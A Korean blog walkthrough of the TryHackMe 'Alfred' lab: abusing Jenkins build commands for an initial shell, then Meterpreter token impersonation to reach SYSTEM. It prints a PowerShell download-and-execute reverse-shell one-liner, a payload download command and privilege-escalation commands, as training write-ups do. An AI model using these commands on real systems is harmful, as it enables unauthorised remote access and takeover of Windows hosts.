Alfred
Exploit Jenkins to gain an initial shell, then escalate your privileges by exploiting Windows authentication tokens.
잰킨스 Exploit
잰킨스는 project 옵션 -> configure -> build -> windows batch command
를 통해 쉘을 설정하고 build now를 클릭하여 원하는 명령을 실행할 수 있었다.
이를 이용해 잰킨스 관리자 계정을 알고있으면 시스템의 리버스 쉘을 획득할 수있다.
공격 Flow
1. Nishang 파워 쉘 다운 후 바로 nc로 리버스 연결
2. 미터프리터로 쉘 스위치 (권한상승을 더 쉽게 하기 위함)
- venom으로 생성 후 다시 잰킨스에서 리버스 쉘 다운
3. 미터프리터 핸들러 연결
4. 권한 체크 whoami /priv
5. 권한 상승
- 미터프리터에서 incognito 모듈 로드
- 모듈 사용하여 악용 가능한 토큰 리스트 확인
- 관리자 토큰 선택
6. migrate
- 관리자 토큰을 사용하는 서비스 중 가장 안전한 프로세스 선택
Nishang (파워쉘 침투테스트 스크립트)
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
https://github.com/samratashok/nishang
파워 쉘 파일 다운로드 방법 두가지
첫번째는 다운로드한 스크립트를 바로 실행시킨다.
두번째는 파일을 다운로드하는 명령어
cmd> powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
cmd> powershell "(New-Object System.Net.WebClient).Downloadfile('http://:8000/shell-name.exe','shell-name.exe')"
iex옵션: Inter active Shell, Invoke-Expression
* 뒤에 Invoke-PowerShellTcp는 파일명이 아니라 명령어 그 자체였다.
위 명령어는 다운로드할 쉘이 인터렉티브 모드로 실행되고 바로 Invoke-... 명령어를 수행하는 것이다.
파워쉘 명령어 참고(악성코드 기반 설명)
https://sanseolab.tistory.com/29
파워쉘 파일 검색 명령어
PS> dir C:\ -r -i "찾는글자"
파워 쉘 내에서 프로그램 실행
PS> Start-Process "shell-name.exe"
Here are the most commonly abused privileges:
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
The privileges of an account 확인
cmd> whoami /priv
위 악용할 권한 리스트에 enabled로 표시되어있는 것이 있는가?
미터프리터 Incognito 모듈로드
meterpreter> Load_incognito
이용 가능한 토큰 체크
meterpreter> list_tokens -g
meterpreter> impoersonate_token "BUILTIN\Administrator"
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
더 높은 권한을 가진 토큰이 있어도 실제로 권한이 있는 사용자의 권한이 없을 수 있습니다.
(Windows가 권한을 처리하는 방식 때문임 - impersonated 토큰이 아니라 프로세스의 Primary 토큰을 사용하여 프로세스가 수행 할 수있는 작업을 결정합니다.). 따라서 올바른 권한이 있는 프로세스로 마이그레이션해야합니다. (위에서 획득한 NT AUTHRITY\SYSTEM으로 마이그레이션 해야함). 가장 안전한 프로세스는 services.exe 프로세스입니다. 먼저 ps 명령을 사용하여 프로세스를보고 services.exe 프로세스의 PID를 찾으십시오.
migrate PID-OF-PROCESS 명령을 사용하여이 프로세스로 마이그레이션하세요.
meterpreter> migrate
윈도우즈 토큰 개념
Now that we have initial access, let's use token impersonation to gain system access.
Windows uses tokens to ensure that accounts have the right privileges to carry out particular actions.
Account tokens are assigned to an account when users log in or are authenticated.
This is usually done by LSASS.exe(think of this as an authentication process).
This access token consists of:
- user SIDs(security identifier)
- group SIDs
- privileges
amongst other things. More detailed information can be found here.
There are two types of access tokens:
- primary access tokens: those associated with a user account that are generated on log on
- impersonation tokens: these allow a particular process(or thread in a process) to gain access to resources using the token of another (user/client) process
For an impersonation token, there are different levels:
- SecurityAnonymous: current user/client cannot impersonate another user/client
- SecurityIdentification: current user/client can get the identity and privileges of a client, but cannot impersonate the client
- SecurityImpersonation: current user/client can impersonate the client's security context on the local system
- SecurityDelegation: current user/client can impersonate the client's security context on a remote system
where the security context is a data structure that contains users' relevant security information.
The privileges of an account(which are either given to the account when created or inherited from a group) allow a user to carry out particular actions. Here are the most commonly abused privileges:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
- There's more reading here.
'OSCP > TryHackMe' 카테고리의 다른 글
[Linux] Skynet (0) | 2020.04.23 |
---|---|
[Linux] Game Zone (0) | 2020.04.22 |
[Windows] HackPark (0) | 2020.04.20 |
[Windows] Steel Mountain (0) | 2020.04.14 |
[Linux] Kenobi (0) | 2020.04.14 |